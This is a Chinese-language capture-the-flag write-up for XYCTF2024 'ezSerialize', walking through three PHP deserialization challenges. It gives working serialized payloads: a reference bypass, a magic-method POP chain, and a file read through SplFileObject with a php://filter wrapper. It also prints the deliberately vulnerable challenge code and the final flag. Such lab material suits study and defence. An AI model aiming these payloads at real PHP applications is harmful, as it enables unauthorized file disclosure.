XYCTF2024 ezSerialize WP
#php反序列化指针引用绕过 #利用if的条件触发tostring
第一关
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}
public function login()
{
return $this->token === $this->password;
}
}
if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}
?>
可以看到,明显要打造pop链
用同地址变量(引用)绕过
这样打造出来的 序列化结果 会带R 这带来的效果是会让password的值引用token的值,而不是我们来直接赋值
[[反序列化绕过总结]] 中的指针引用绕过
exp:
$a = new Flag('admin', 'admin');
$a -> password = &$a -> token;
echo serialize($a);
访问/fpclosefpclosefpcloseffflllaaaggg.php
第二关
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
[[魔术方法]]
这个tostring方法调用e学习一下:
利用if 的条件触发
payload:
$a=new E();
$b=new D();
$c=new B();
$d=new A();
$e=new C();
$d->mack=$e;
$c->luo=$d;
$b->lao=$c;
$a->name=$b;
echo serialize($a);
O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}s:3:"num";N;}
访问
/saber_master_saber_master.php
第三关
#SplFileObject内置类读取文件
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
// if (isset($_GET['CTF'])) {
// unserialize($_GET['CTF']);
// }
?>
看到crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。
注意:
-
访问链式属性(如
$this->adwa->T1ng
)的前提:-
$this->adwa
必须已被初始化为一个对象实例。 -
该对象实例必须有
T1ng
属性(或方法),且访问权限允许(例如public
)。
-
但反序列化传入的字符串它只认字符串,所以你在不同类中多造一个属性,只要符合语法,它一样不会报错。
看到这里利用的地方是实例化一个对象并输出,且提示flag.php,那么我们用SplFileObject内置类读取文件
exp:
$a = new XYCTFNO1();
$b = new XYCTFNO2();
$c = new XYCTFNO3();
$a->T1ng = 'yuroandCMD258';
$a->crypto0 = 'dev1l';
$b->adwa = $a; //将属性的值实例化为对象
$c->N1ght = 'oSthing';
$c->KickyMu = $b;
echo serialize($c);
测试发现,这里的私有属性会造成影响,我们在序列化的时候删除就行了
即第一个类:
class XYCTFNO1
{
public $Liu;
public $T1ng;
}
/saber_master_saber_master.php?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":3:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}
post传
直接读读不出来,上php伪协议
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
得到
解码
<?php
$flag = "fpclosefpclosefpcloseffflllaaaggg.php";
$flag2 = "saber_master_saber_master.php";
$flag3 = "XYCTF{98887f59-23e5-4bb0-a706-b62d01fe4661}"
?>